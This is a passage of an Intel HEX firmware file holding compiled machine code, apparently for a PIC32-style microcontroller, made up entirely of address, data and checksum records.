4248410827c15\n:1053e000206162a41e15410b00000000f481838f30\n:1053f000200002242000621400000000ec80828f54\n:105400001d0040140000000088bf023c2061428c57\n:10541000080042300100422cff00443088bf033caa\n:1054200020616294c418827c206162a488bf023c1f\n:105430002061428cc000427cff00423021184000b5\n:10544000d4808293080062100000000088bf033cf3\n:1054500020616294010004248410827c206162a493\n:105460001e15410b0000000088bf033c20616294c0\n:105470008410027c206162a4d58083930200022400\n:10548000050062140000000088bf033c20616294a4\n:105490008410027c206162a421e8c0030400be8f56\n:1054a0000800bd270800e00300000000e8ffbd275a\n:1054b0001400bfaf1000beaf21f0a00300a0023c5b\n:1054c0005c564424400005248513410f0000000071\n:1054d0000400401000000000010002243a15410bb6\n:1054e000000000002110000021e8c0031400bf8f5d\n:1054f0001000be8f1800bd270800e0030000000068\n:10550000e8ffbd271400bfaf1000beaf21f0a0031d\n:10551000d48082930900401400000000059d023ce5\n:10552000605c4424059d023ca85c45240413410fa3\n:10553000000000005515410b00000000059d023cd5\n:10554000605c4424059d023ca45c45240413410f87\n:105550000000000021e8c0031400bf8f1000be8fc0\n:105560001800bd270800e00300000000e8ffbd2789\n:105570001400bfaf1000beaf21f0a0031800c4afed\n:105580001c00c5af2000c6af2400c7af00a0023c7e\n:10559000dc56422487004290211840001300022468\n:1055a0001600621400000000010002242400c2afb3\n:1055b0001800c28f030040140000000032000224d3\n:1055c0001800c2af1c00c28f03004014000000008e\n:1055d000050002241c00c2af2000c28f0500401449\n:1055e00000000000e80302242000c2af8715410b31\n:1055f000000000008715410b000000001800c28f5a\n:1056000005004014000000000c0002241800c2af86\n:105610008615410b00000000000000001800c48f38\n:105620001c00c58f2000c68f2400c78f9315410f23\n:105630000000000021e8c0031400bf8f1000be8fdf\n:105640001800bd270800e00300000000c8efbd27d8\n:105650003410bfaf3010beaf2c10b0af21f0a0039c\n:105660003810c4af3c10c5af4010c6af4410c7af30\n:105670001400c0af1c00c0afc40c410f00000000fc\n:1056800088bf033c606062940421027c606062a475\n:1056900088bf033c2061629401000424444a827c58\n:1056a000206162a488bf033ca0616294444a027cea\n:1056b000a06162a488bf023cd060428c0003427c9f\n:1056c000ff0042301000c2af4410c28f21004014ce\n:1056d0000000000088bf023cd060428c0003427c86\n:1056e000ff0042301000c2afd115410b0000000096\n:1056f000c215410b000000002b15410f00000000f7\n:10570000a00040140000000088bf023cd060428c22\n:105710000003427cff004230211840001000c28f7d\n:10572000f5ff6210000000001800c28f0100422443\n:105730001800c2af1000c28f0100422cff0042309f\n:105740001000c2af1800c28f6400422ce8ff401462\n:10575000000000002000c0af01000424e30d410f51\n:10576000000000005416410b000000002400c0aff0\n:105770001616410b000000002b15410f0000000021\n:105780001400c2af1400c28f0300401000000000dc\n:105790001e16410b000000001c00c28f2e0040109e\n:1057a000000000004010c28f2b00401000000000dd\n:1057b0002400c28f010043242400c3af07004230fd\n:1057c000250040140000000021200000e30d410fdf\n:1057d000000000001800c2af1800c38f4010c28f35\n:1057e0002b1062001c004014000000002000c28f3b\n:1057f000801002001000c327211062001c00c38f1c\n:10580000180843ac2000d08f010002262000c2af50\n:1058100001000424e30d410f0000000021184000a6\n:10582000801010001000c42721108200180043ac23\n:105830001c00c0af2808c3272800c2272120600011\n:10584000212840002000c68f6816410f000000008c\n:105850002000c0af0000000088bf023cd060428c36\n:105860000003427cff004230211840001000c28f2c\n:10587000c1ff6210000000001000c28f0100422c26\n:10588000ff0042301000c2af01000424e30d410fbd\n:10589000000000001800c2af1800c38f3810c28f7c\n:1058a0002b1043001a004010000000004410c28f6b\n:1058b00006004010000000001c00c38f3c10c28f87\n:1058c0002b10430016004010000000002000c28f83\n:1058d000801002001000c327211062001c00c38f3b\n:1058e000180843ac2000c28f010043242000c3af3e\n:1058f000801002001000c327211062001800c38f1f\n:10590000180043ac1c00c0af4816410b000000005b\n:105910001c00c38f1800c28f211062001c00c2af90\n:105920002000c38f0002022409006214000000005e\n:105930002808c3272800c227212060002128400012\n:105940002000c68f6816410f000000002000c0af85\n:105950001400c28f85ff4010000000002000c28f9d\n:1059600008004010000000002808c3272800c227b4\n:1059700021206000212840002000c68f6816410fba\n:105980000000000021e8c0033410bf8f3010be8f2c\n:105990002c10b08f3810bd270800e0030000000075\n:1059a000e0ffbd271c00bfaf1800beaf21f0a00371\n:1059b0002000c4af2400c5af2800c6af00a0023c41\n:1059c000dc56422487004290f9ff42240d00432c0c\n:1059d000310060100000000080180200049d023cad\n:1059e000f4594224211062000000428c080040005b\n:1059f00000000000285a049d445a049d985a049db2\n:105a0000605a049d985a049d985a049d985a049d82\n:105a1000985a049d985a049d605a049d985a049d72\n:105a2000985a049d7c5a049d2000c48f2400c58f81\n:105a30002800c68fc3ac400f00000000c616410b03\n:105a4000000000002000c48f2400c58f2800c68fee\n:105a500051b3400f00000000c616410b00000000cb\n:105a60002000c48f2400c58f2800c68ff9d2400fb4\n:105a700000000000c616410b000000002000c48f8b\n:105a80002400c58f2800c68f380e410f000000008b\n:105a9000c616410b000000001000c0afc016410b3d\n:105aa000000000001000c28f801002002000c38f91\n:105ab000211062000000428c059d033c2464642494\n:105ac000212840006913410f000000001000c28f20\n:105ad000801002002400c38f211062000000428c5d\n:105ae000059d033c34646424212840006913410f60\n:105af000000000001000c28f010042241000c2af5d\n:105b00001000c38f2800c28f2b106200e5ff4014e5\n:105b10000000000000000000059d023c3c6444249d\n:105b2000059d023c406445240413410f0000000021\n:105b300021e8c0031c00bf8f1800be8f2000bd27c6\n:105b40000800e00300000000d8ffbd272400bfaf1d\n:105b50002000beaf21f0a0032800c4af2c00c5afc9\n:105b60003000c6af3400c7af1c00c0af1800c0afd4\n:105b7000ffff02341400c2af1000c0af2617410b64\n:105b8000000000001800c28f801002003800c38f90\n:105b9000211062000000438c3c00c28f2b10620079\n:105ba0003a004014000000001800c28f801002006c\n:105bb0003800c38f211062000000438c4000c28f68\n:105bc0002b10430031004014000000001800c28f69\n:105bd000801002002c00c38f211062000000438c53\n:105be0003000c28f2b10430028004010000000003e\n:105bf0001800c28f801002002c00c38f2110620099\n:105c00000000438c3400c28f2b1043001f0040144f\n:105c1000000000001800c28f801002002c00c38f0b\n:105c2000211062000000438c1000c28f2b10430033\n:105c300007004010000000001800c28f8010020012\n:105c40002c00c38f211062000000428c1000c2aff4\n:105c50001800c28f801002002c00c38f2110620038\n:105c60000000438c1400c28f2b106200070040100c\n:105c7000000000001800c28f801002002c00c38fab\n:105c8000211062000000428c1400c2af1800c28fc5\n:105c9000010042241800c2af1800c38f4400c28f15\n:105ca0002b106200b7ff4014000000001400c38fe7\n:105cb000ffff023404006210000000001000c28fd9\n:105cc0000400401400000000211000008c17410b5c\n:105cd000000000001800c0af7d17410b000000005d\n:105ce0001800c28f801002003800c38f211062009c\n:105cf0000000438c3c00c28f2b1062003a0040141d\n:105d0000000000001800c28f801002003800c38f0e\n:105d1000211062000000438c4000c28f2b10430012\n:105d200031004014000000001800c28f80100200f3\n:105d30002c00c38f211062000000438c3400c28ffe\n:105d40002b1043001d004014000000001800c28ffb\n:105d5000801002002c00c38f211062000000428cd2\n:105d6000212040001400c58f140006244eb5400fba\n:105d70000000000008004010000000002800c28f52\n:105d8000010043242800c3af30000324000043a0d7\n:105d90006b17410b000000002800c28f0100432454\n:105da0002800c3af31000324000043a001000224f7\n:105db0001c00c2af7a17410b000000001c00c28f0c\n:105dc00009004010000000002800c28f000040a021\n:105dd0001800c28fff00423001004224ff00423011\n:105de0008c17410b000000001800c28f01004224f4\n:105df0001800c2af1800c38f4400c28f2b1062007e\n:105e0000b7ff4014000000001c00c28f04004014c3\n:105e100000000000211000008c17410b0000000062\n:105e20002800c28f000040a01800c28fff0042303f\n:105e300021e8c0032400bf8f2000be8f2800bd27ab\n:085e40000800e003000000006f\n:020000040000fa\n:020000041d04d9\n:105e4800b0ffbd274c00bfaf4800beaf4400b7af9e\n:105e58004000b6af3c00b5af3800b4af3400b3afc4\n:105e68003000b2af2c00b1af2800b0af00a0143c96\n:105e7800059d163ca13cd6265800a6afc47284ae38\n:105e8800219800001c00a0af0000b0909a000012fa\n:105e98000100b1242110d002000042808800423065\n:105ea800a2004014250002248b00021604000324db\n:105eb8000100b280218000001800a3af21b80000c3\n:105ec80004001524ff0052327900422e01002326d7\n:105ed800ea0040101000a3af80101200049d043c9b\n:105ee800fc5e8424211082000000428c08004000df\n:105ef800000000001464049d8462049d8462049d73\n:105f08008462049d8462049d8462049d8462049d6d\n:105f18008462049d8462049d8462049d8462049d5d\n:105f28008462049d8462049d8462049d8462049d4d\n:105f38008462049d8462049d8462049d8462049d3d\n:105f48008462049d8462049d8462049d8462049d2d\n:105f58008462049d8462049d8462049d8462049d1d\n:105f68008462049d8462049d8462049d8462049d0d\n:105f78008462049d8462049d8462049d8462049dfd\n:105f88008462049d8462049d8462049d8462049ded\n:105f98008462049d8462049d8462049d0064049d5f\n:105fa8008462049d8462049d8462049d8462049dcd\n:105fb8008462049d8462049d8462049d8462049dbd\n:105fc8008462049d8462049d8462049d8462049dad\n:105fd8008462049d8462049d8462049d8462049d9d\n:105fe8008462049d8462049d8462049d8462049d8d\n:105ff8008462049d8462049d8462049d8462049d7d\n:106008008462049d8462049d8462049d8462049d6c\n:106018008462049d8462049d8462049d8462049d5c\n:106028008462049de463049d8462049d8462049deb\n:106038008462049d8462049d8462049d8462049d3c\n:106048008462049d8462049d8462049d8462049d2c\n:106058008462049dd863049d8462049d8462049dc7\n:106068008462049d8462049d8462049d8462049d0c\n:106078008462049d8462049d8462049d8462049dfc\n:106088008c63049de862049d8462049d8462049d7f\n:106098008462049d6062049de862049d8462049d9c\n:1060a8008462049de463049d8462049d8462049d6b\n:1060b8004461049d8462049d8462049d8462049dfd\n:1060c8006c64049d8462049de862049d8462049d5e\n:1060d8008462049d6064049d694f410fc472848e7c\n:1060e8004a010216ffff0324212820020000b09075\n:1060f80068ff00160100b1241c00a28f4c00bf8f5e\n:106108004800be8f4400b78f4000b68f3c00b58f63\n:106118003800b48f3400b38f3000b28f2c00b18fa9\n:106128002800b08f0800e0035000bd277b56410fc0\n:10613800000000003d18410b21282002080012240d\n:106148007b56410f00000000c472848e694f410fd6\n:106158002000a0af218840002d0002246a002212ee\n:1061680000a0023c2120200221284002c552410ff4\n:1061780021306002ff00032470004310c472858e32\n:1061880030000224000122120000000021f000006b\n:106198007118410bff001524694f410fc472848e9a\n:1061a800218840002120400021284002c552410f8b\n:1061b800213060020b0055102120200202f0d2731a\n:1061c8002120200221284002c552410f21306002bf\n:1061d800ffff10262084107cefff001621f0c20379\n:1061e8002120200221284002c552410f213060029f\n:1061f800ff00042411014410c472858e23101e0070\n:106208002000a38f0bf04300b7ffe0161000b18ffa\n:106218001c00a38f01006224ff0042301c00a2afc3\n:10622800040002241800a38f040062100200022454\n:106238001800a38f050162105800a38f5800a38f80\n:106248000000628c040063245800a3af00005eac19\n:106258003d18410b2128200201003282020003244c\n:106268001800a3af1000b18fff0052327900422e00\n:106278000100232618ff40141000a3af2110d202fa\n:106288000000429004004230dc0040100000000092\n:10629800ef52410f21202002010032822084027c2b\n:1062a800059d043ca13c8424211044020000429036\n:1062b8000400423003ff40101000b18f0100312666\n:1062c800000032822110d2020000429004004230c5\n:1062d800fbff405401003126b417410bff00523236\n:1062e8007b56410f0a001224c472848e694f410ff5\n:1062f8002000a0af218840002d0002249aff22161a\n:106308002120200200a0023cc472448c0100032416\n:10631800694f410f2000a3af2188400021202002af\n:1063280021284002c552410f21306002ff0003249a\n:1063380094ff431430000224c472858e7555410fb2\n:10634800212020021c00a38f9c00601000a0023caa\n:10635800211060004c00bf8f4800be8f4400b78feb\n:106368004000b68f3c00b58f3800b48f3400b38f2f\n:106378003000b28f2c00b18f2800b08f0800e003e6\n:106388005000bd277600e0121c00a38fffff1124e8\n:10639800694f410fc472848e9e0051101c00a38f58\n:1063a8000500e016ffff10261400a38f000062a06e\n:1063b800010063241400a3af2084107cf4ff001ea6\n:1063c800000000001000b18f3d18410b2128200269\n:1063d800100012245218410b010013241800a38f37\n:1063e800a0ff751001003282080003241800a3af33\n:1063f800b317410b1000b18f0100f726010032825c\n:10640800ff00f732b317410b1000b18f1c00a38fa8\n:10641800d0ff601421106000c472828e0c00429478\n:106428000001427c231002004c00bf8f4800be8f41\n:106438004400b78f4000b68f3c00b58f3800b48f4a\n:106448003400b38f3000b28f2c00b18f2800b08f8a\n:106458000800e0035000bd27100012245218410b19\n:10646800219800007b56410f000000002d00e0122b\n:106478005800a38f694f410fc472848effff032415\n:10648800330043501c00a28f140040140100432421\n:106498004119410b1000b18f72006210000000001a\n:1064a8000500e016ffff10261400a38f000062a06d\n:1064b800010063241400a3af2084107c0f00005255\n:1064c8001000b18f694f410fc472848e01004324bc\n:1064d8000200642c090080541000b18f059d043c13\n:1064e800a03c842421188300000063808800633066\n:1064f800e9ff6050010023821000b18ffbfee056d7\n:10650800212820021c00a38f01006224ff004230d2\n:106518001c00a2af1400a38f000060a03d18410b1f\n:10652800212820020000638c1400a3af5800a38f19\n:10653800040063245800a3af694f410fc472848ece\n:10654800ffff0324d0ff4314000000001c00a28fab\n:1065580080ff4050ffff0224d818410b4c00bf8f2a\n:10656800010062245800a38f0000638c1400a3afbd\n:10657800ff0042301c00a2af5800a38f0400632420\n:10658800e518410b5800a3af694f410fc472848ec0\n:1065980078000324230043105800032423004314e5\n:1065a800c472858e2100601200000000694f410fff\n:1065b800c472848e6518410b21884000c472428cd5\n:1065c8000c0042940001427c231002004c00bf8f53\n:1065d8004800be8f4400b78f4000b68f3c00b58f8f\n:1065e8003800b48f3400b38f3000b28f2c00b18fd5\n:1065f8002800b08f0800e0035000bd27694f410f05\n:10660800c472848e6fff4212ffff032419004314e3\n:106618001c00a38f4fff605421106000d718410b56\n:10662800ffff0224e1ff6012c472858e7555410f89\n:10663800212040006618410b21f000007555410fdc\n:10664800212020028218410b23101e000000628cba\n:10665800040063245800a3af00005ea43d18410b5a\n:1066680021282002a0fee016020031264419410b21\n:106678001c00a38f00a0033cc472658c7555410fa4\n:0c66880021204000d718410b1c00a28ffd\n:020000040000fa\n:020000041d04d9\n:10669400f8ffbd270400beaf21f0a0030800c4af7b\n:1066a4000800c38faaaa023cabaa423419006200b4\n:1066b4001010000042100200ffff03342318620090\n:1066c40080bf023c100643ac80bf033c00066294ca\n:1066d40001000424c47b827c000662a40000000044\n:1066e4007c80828ffeff4010000000007c8080af21\n:1066f40021e8c0030400be8f0800bd270800e003a2\n:1067040000000000e8ffbd271400bfaf1000beafbb\n:1067140021f0a0031800c4afcc19410b0000000005\n:10672400e8030424a519410f000000001800c28fdb\n:10673400ffff43241800c3aff9ff4014000000001a\n:1067440021e8c0031400bf8f1000be8f1800bd27be\n:106754000800e00300000000e0ffbd271c00bfaffd\n:106764001800beaf21f0a003211080002000c2a3b6\n:106774000c1a410b1000c0a380bf033c1060628c54\n:106784000463027c106062ac80bf033c1060628cc6\n:10679400010004248452827c106062ac2000c39304\n:1067a40080bf023ced19410b206043ac4000000067\n:1067b40080bf023c1060428c00014230fbff40105d\n:1067c4000000000080bf033c1060628c8452027c95\n:1067d400106062ac80bf033c00606294c47b027ca6\n:1067e400006062a488bf023c5061428c04004230c5\n:1067f4000300401000000000101a410b00000000cc\n:1068040068818297a519410f2120400080bf033c75\n:106814000060629401000424c47b827c006062a452\n:106824001000c293010042241000c2a31000c293be\n:106834000500422cd0ff40140000000080bf033c40\n:106844000060629401000424c47b827c006062a422\n:1068540080bf033c1060628c010004240463827cca\n:10686400106062ac80bf033c1060628c4408027c00\n:10687400106062ac80bf023c1060428c0100423068\n:10688400060040100000000080bf023c3060428cd3\n:106894001200c2a71e1a410b0000000000000000f5\n:1068a40021e8c0031c00bf8f1800be8f0800e0035e\n:1068b4002000bd27e0ffbd271c00bfaf1800beaffe\n:1068c40021f0a0032000c4af2110a0002400c2a71f\n:1068d4002400c3976a818297180062001210000096\n:1068e4001000c2af010002247c8082af1600c0a356\n:1068f400a11a410b00000000681a410b00000000bf\n:106904007c80828f25004010000000007c8080afd6\n:106914001000c28f1e004010000000001000c38f42\n:106924000100023c2b10620009004014000000002a\n:106934001400c0a71000c38fffff023c01004234c3\n:10694400211062001000c2af581a410b0000000071\n:106954001000c28f1400c2a71000c0af1400c29769\n:10696400ffff0334231062002118400080bf023c63\n:10697400100643ac80bf033c00066294010004246b\n:10698400c47b827c000662a4681a410b00000000ec\n:1069940021100000a61a410b0000000080bf023c39\n:1069a4001060428c01004230d5ff4010000000000e\n:1069b40080bf033c00066294c47b027c000662a490\n:1069c4007c8080af80bf023c1060428c0800423063\n:1069d400230040100000000088bf033c4061629423\n:1069e4000442027c406162a480bf033c0060629464\n:1069f400010004240421827c006062a480bf023c64\n:106a04003060428cff0043302000c28f000043a05e\n:106a14006881829742100200ffff4230212040002b\n:106a2400a519410f0000000088bf033c4061629437\n:106a3400010004240442827c406162a480bf033cc0\n:106a4400006062940421027c006062a41600c29378\n:106a5400010042241600c2a3a11a410b0000000049\n:106a640080bf023c3060428cff0043302000c28f64\n:106a7400000043a001000224a61a410b00000000fc\n:106a84001600c2930500422c9bff40140000000036\n:106a94002110000021e8c0031c00bf8f1800be8f26\n:106aa4002000bd270800e00300000000f8ffbd2718\n:106ab4000400beaf21f0a0036481828f3101033c46\n:106ac400002d63341b006200f4014000101000002c\n:106ad40012100000ffff432480bf023c406043ac1f\n:106ae4006481828f0f00033c404263341b006200c8\n:106af400f40140001010000012100000ffff4230ab\n:106b0400688182a768818397aaaa023cabaa42340f\n:106b1400190062001010000042100200ffff423012\n:106b24006a8182a721e8c0030400be8f0800bd2744\n:106b34000800e00300000000f8ffbd270400beaf1a\n:106b440021f0a00380bf033c00606294c47b027cfc\n:106b5400006062a480bf033c1060628c4408027c25\n:106b6400106062ac21e8c0030400be8f0800bd279a\n:106b74000800e00300000000e0ffbd271c00bfafd9\n:106b84001800beaf21f0a003010002241000c2af20\n:106b940088bf033c40606294444a027c406062a423\n:106ba40088bf033c006162940442027c006162a4d9\n:106bb40088bf033c606162940442027c606162a409\n:106bc40088bf033c40616294010004240442827c37\n:106bd400406162a488bf033c6060629401000424a5\n:106be400444a827c606062a488bf033c2061629452\n:106bf4000442027c206162a480bf023c100840acc5\n:106c040080bf023c000840ac80bf023c1300032458\n:106c1400200843ac80bf023c0a000324103243ac7a\n:106c240080bf023c0a000324203243ac88bf033ceb\n:106c3400c06062944408027cc06062a480bf023ccd\n:106c440006000324003243ac1400c0a3191b410bfb\n:106c5400000000001000c28f401002001000c2affc\n:106c64001400c293ffff43241400c3a3f9ff40148c\n:106c74000000000080bf023c2008428cff0042302c\n:106c8400211840001000c28f21106200c404033c8c\n:106c940000b463341b006200f401400010100000d3\n:106ca400121000006c8182af6c81838f2cb0023c87\n:106cb400030b42341900620010100000021202009b\n:106cc400648182af6481828f0f00033c404263344d\n:106cd4001b006200f40140001010000012100000bc\n:106ce400ffff4230688182a768818397aaaa023c89\n:106cf400abaa4234190062001010000042100200d6\n:106d0400ffff42306a8182a76481828f3101033c94\n:106d1400002d63341b006200f401400010100000d9\n:106d240012100000ffff432480bf023c406043accc\n:106d340080bf033c1060628c010004240463827ce5\n:106d4400106062ac80bf033c0060629401000424c4\n:106d54004410827c006062a480bf033c00606294a3\n:106d64000400027c006062a480bf033c0060629463\n:106d740001000424c418827c006062a488bf033c20\n:106d8400a010628c030004248420827ca01062acd6\n:106d940088bf033ca010628c010004240408827c98\n:106da400a01062ac88bf033c3010628c0421027cca\n:106db400301062ac80bf023c30000324000643acb8\n:106dc40080bf023cffff0334200643ac88bf033c72\n:106dd4006010628c010004240421827c601062ac87\n:106de400212000006058410f00000000c359410fea\n:106df4000000000021e8c0031c00bf8f1800be8ff4\n:106e04002000bd270800e0030000000000e85d4109\n:106e140000701a4000601b40e8ffbd271400baafa1\n:106e24001000bbaf44781b7c000c7b3700609b4098\n:106e34000c00beaf0800a3af0400a2af21f0a00372\n:106e440088bf033c3010628c0421027c301062ac99\n:106e540080bf033c00066294c47b027c000662a4eb\n:106e6400010002247c8082af21e8c0030c00be8fa5\n:106e74000800a38f0400a28f00606041c0000000de\n:106e84001400ba8f1000bb8f00709a401800bd2701\n:106e940000e8dd4100609b4018000042e8ffbd2788\n:106ea4001400bfaf1000beaf21f0a0031800c4afa0\n:106eb4001800c48f1fff400f0000000021e8c0032a\n:106ec4001400bf8f1000be8f1800bd270800e00318\n:106ed4000000000068ffbd279400bfaf9000beaf64\n:106ee40021f0a0039800c4af9c00c5af1000c227d6\n:106ef400212040009c00c58fd31b410f00000000df\n:106f0400040040140000000021100000cd1b410bc0\n:106f1400000000009800c48f1000c2272128400000\n:106f24008000062447b9400f00000000010002243d\n:106f340021e8c0039400bf8f9000be8f9800bd2746\n:106f44000800e0030000000078ffbd278400bfaf05\n:106f54008000beaf7c00b0af21f0a0038800c4afb6\n:106f64008c00c5af2c00c22721204000212800003e\n:106f7400400006247152410f000000008c00c28fb3\n:106f84000000439041000224050062140000000048\n:106f9400010002242c00c2a3f11b410b00000000dd\n:106fa4008c00c28f00004390300002240400621061\n:106fb4000000000021100000921c410b00000000a2\n:106fc4008c00c28f0100422400004390440002243c\n:106fd4000500621400000000010002243b00c2a36b\n:106fe400041c410b000000008c00c28f01004224ed\n:106ff40000004390300002240400621000000000ee\n:1070040021100000921c410b000000008c00c28f74\n:1070140002004224212040000400052480b5400fd2\n:10702400000000001c00c2af2c00c2271000422444\n:10703400212040001c00c58f0a00062430b6400ff2\n:10704400000000008c00c28f060042242120400072\n:107054000c000524aeb5400f000000002000c2afb4\n:107064002400c3af2c00c2271a00422426000324a4\n:107074001000a3af212040002000c68f2400c78f3a\n:1070840068b6400f000000002c00c22721204000f9\n:10709400400005248fbc400f000000008800c48f0e\n:1070a400212800000a0006247152410f000000004c\n:1070b4008800c28f0a0042242120400001000524d8\n:1070c400760006247152410f000000001800c0a38e\n:1070d4004a1c410b000000001800c39321106000fb\n:1070e400c0100200211043000b0042248800c38f0b\n:1070f400211862001800c293c01002002c00c4279b\n:10710400211082002120600021284000080006246c\n:10711400214b410f000000001800c29301004224db\n:107124001800c2a31800c2930800422ceaff4014be\n:10713400000000001800c0a3611c410b0000000007\n:107144001800d0931800c293c01002002c00c3276b\n:1071540021106200212040000800052411b6400fd0\n:1071640000000000ff0043301800c2272110500027\n:10717400540043a01800c293010042241800c2a383\n:107184001800c2930800422cedff401400000000d8\n:107194006c00c227212040000800052484bd400f54\n:1071a400000000002800c2af8800c28f53004324af\n:1071b4002800c28f02120200212060002128400012\n:1071c4000800062430b6400f000000008800c28f7b\n:1071d4005c004224212040002800c58f08000624ba\n:1071e40030b6400f000000001800c0a38d1c410bf6\n:1071f400000000001800c39321106000c0100200ba\n:1072040021104300650042248800c38f21106200ce\n:107214002120400021280000080006247152410f5b\n:10722400000000001800c293010042241800c2a309\n:107234001800c2930300422ceeff4014000000002b\n:107244000100022421e8c0038400bf8f8000be8fa8\n:107254007c00b08f8800bd270800e0030000000018\n:1072640058ffbd27a400bfafa000beaf21f0a0030c\n:10727400a800c4afac00c5af2000c2272120400045\n:10728400ac00c58fee1c410f000000000400401448\n:107294000000000021100000e81c410b0000000069\n:1072a4002000c22721204000400005248fbc400f4d\n:1072b400000000002000c2930600401000000000ff\n:1072c400a800c28f41000324000043a0b91c410b55\n:1072d40000000000a800c28f30000324000043a077\n:1072e4002f00c2930700401000000000a800c28fc6\n:1072f4000100422444000324000043a0c61c410ba7\n:1073040000000000a800c28f0100422430000324c2\n:10731400000043a02000c227100042242120400086\n:107324000a00052411b6400f000000001000c2af8f\n:10733400a800c28f0200422421204000059d023c87\n:10734400e06645241000c68fe455410f000000009c\n:107354002000c2271a0042242120400026000524d0\n:10736400f4b6400f000000001800c2afc3170200bb\n:107374001c00c2afa800c28f060042242120400096\n:10738400059d023ce86645241800c68f1c00c78f83\n:10739400e455410f000000000100022421e8c0036d\n:1073a400a400bf8fa000be8fa800bd270800e00383\n:1073b4000000000040ffbd27bc00bfafb800beaf57\n:1073c400b400b0af21f0a003c000c4afc400c5af87\n:1073d4002000c0a32100c0a32200c0a32300c0a397\n:1073e4002400c0a32500c0a32600c0a32700c0a377\n:1073f400010002242800c2a32c00c227212040003f\n:10740400c400c58fcbb8400f000000001000c0a31b\n:10741400131d410b000000001000c2931000c3278d\n:10742400211062001c004290040040100000000083\n:10743400211000009a1d410b000000001000c293af\n:10744400010042241000c2a31000c2930a00422c7f\n:10745400f1ff4014000000003600c3930100022431\n:107464000400621000000000211000009a1d410b6e\n:10747400000000001000c0a3341d410b00000000f8\n:107484001000d0931000c39321106000c0100200bc\n:10749400211043000b0042242c00c327211062005a\n:1074a400212040000800052411b6400f0000000010\n:1074b400ff0043301000c22721105000080043a0f1\n:1074c4001000c293010042241000c2a31000c29312\n:1074d4000800422ceaff4014000000002c00c227e0\n:1074e40053004224212040000800052411b6400f17\n:1074f40000000000001202001400c2af2c00c227da\n:107504005c004224212040000800052411b6400fed\n:10751400000000001400c38f211062001400c2afe9\n:107524001800c227212040000800052484bd400f14\n:1075340000000000211840001400c28f04006210f3\n:1075440000000000211000009a1d410b0000000003\n:107554001000c0a36d1d410b000000001000c39378\n:1075640021106000c0100200211043006500422475\n:107574002c00c327211862002000c22721206000ac\n:1075840021284000090006240954410f000000008e\n:107594000400401000000000211000009a1d410b5f\n:1075a400000000001000c293010042241000c2a396\n:1075b4001000c2930300422ce8ff401400000000b6\n:1075c4001000c0a3951d410b000000001000c293e1\n:1075d4000100432421106000c01002002110430068\n:1075e4000a0042241000c327211062001c004390ab\n:1075f40001000224040062100000000021100000b9\n:107604009a1d410b000000001000c293c01002003c\n:10761400c000c38f212062001000c39321106000ba\n:10762400c0100200211043000b0042242c00c32789\n:10763400211062002128400008000624214b410f3c\n:10764400000000001000c293010042241000c2a3f5\n:107654001000c2930800422cdcff4014000000001c\n:107664000100022421e8c003bc00bf8fb800be8f14\n:10767400b400b08fc000bd270800e0030000000084\n:1076840088ffbd277400beaf21f0a0037800c4af0b\n:107694002110000021e8c0037400be8f7800bd27cc\n:1076a4000800e0030000000068ffbd279400bfaf9e\n:1076b4009000beaf21f0a0039800c4af9c00c5affa\n:1076c4001000c227212040009c00c58fd31b410f0e\n:1076d400000000000400401400000000211000001d\n:1076e400c21d410b000000009800c48f1000c22787\n:1076f400212840008000062447b9400f0000000004\n:107704000100022421e8c0039400bf8f9000be8fc3\n:107714009800bd270800e0030000000078ffbd27a3\n:107724008400bfaf8000beaf7c00b0af21f0a003e7\n:107734008800c4af8c00c5af2c00c22721204000b4\n:1077440021280000400006247152410f000000006f\n:107754008c00c28f00004390410002240500621493\n:1077640000000000010002242c00c2a3e61d410b0e\n:10777400000000008c00c28f0000439030000224ff\n:10778400040062100000000021100000871e410b5d\n:10779400000000008c00c28f0100422400004390ce\n:1077a40044000224050062140000000001000224c9\n:1077b4003b00c2a3f91d410b000000008c00c28fe6\n:1077c40001004224000043903000022404006210af\n:1077d4000000000021100000871e410b0000000083\n:1077e4008c00c28f020042242120400004000524a2\n:1077f40080b5400f000000001c00c2af2c00c2275f\n:1078040010004224212040001c00c58f0a000624d9\n:1078140030b6400f000000008c00c28f06004224e6\n:10782400212040000c000524aeb5400f00000000ec\n:107834002000c2af2400c3af2c00c2271a00422488\n:10784400260003241000a3af212040002000c68f8f\n:107854002400c78f68b6400f000000002c00c22728\n:1078640021204000400005248fbc400f0000000090\n:107874008800c48f212800000a0006247152410f99\n:10788400000000008800c28f0a004224212040002a\n:1078940001000524760006247152410f0000000007\n:1078a4001800c0a33f1e410b000000001800c39342\n:1078b40021106000c0100200211043000b0042247c\n:1078c4008800c38f211862001800c293c010020000\n:1078d4002c00c427211082002120600021284000b0\n:1078e40008000624214b410f000000001800c29339\n:1078f400010042241800c2a31800c2930800422cbd\n:10790400eaff4014000000001800c0a3561e410bfb\n:10791400000000001800d0931800c293c0100200a9\n:107924002c00c327211062002120400008000524f8\n:1079340011b6400f00000000ff0043301800c227ba\n:1079440021105000540043a01800c29301004224a7\n:107954001800c2a31800c2930800422cedff401483\n:10796400000000006c00c22721204000080005240c\n:1079740084bd400f000000002800c2af8800c28f01\n:10798400530043242800c28f021202002120600009\n:10799400212840000800062430b6400f00000000f3\n:1079a4008800c28f5c004224212040002800c58f3b\n:1079b4000800062430b6400f000000001800c0a3e1\n:1079c400821e410b000000001800c39321106000c8\n:1079d400c010020021104300650042248800c38fb8\n:1079e4002110620021204000212800000800062404\n:1079f4007152410f000000001800c293010042249c\n:107a04001800c2a31800c2930300422ceeff4014d6\n:107a1400000000000100022421e8c0038400bf8f9d\n:107a24008000be8f7c00b08f8800bd270800e00373\n:107a34000000000058ffbd27a400bfafa000beafe8\n:107a440021f0a003a800c4afac00c5af2000c2273a\n:107a540021204000ac00c58fee1c410f0000000047\n:107a6400040040140000000021100000dd1e410b42\n:107a7400000000002000c22721204000400005240f\n:107a84008fbc400f000000002000c293060040108d\n:107a940000000000a800c28f41000324000043a09e\n:107aa400ae1e410b00000000a800c28f300003246a\n:107ab400000043a02f00c293070040100000000004\n:107ac400a800c28f0100422444000324000043a004\n:107ad400bb1e410b00000000a800c28f010042241d\n:107ae40030000324000043a02000c22710004224d9\n:107af400212040000a00052411b6400f00000000b8\n:107b04001000c2afa800c28f02004224212040000e\n:107b1400059d023cf06645241000c68fe455410fd4\n:107b2400000000002000c2271a0042242120400047\n:107b340026000524f4b6400f000000001800c2af70\n:107b4400c31702001c00c2afa800c28f0600422463\n:107b540021204000059d023cf86645241800c68f8c\n:107b64001c00c78fe455410f0000000001000224ef\n:107b740021e8c003a400bf8fa000be8fa800bd27ca\n:107b84000800e0030000000040ffbd27bc00bfafb9\n:107b9400b800beafb400b0af21f0a003c000c4af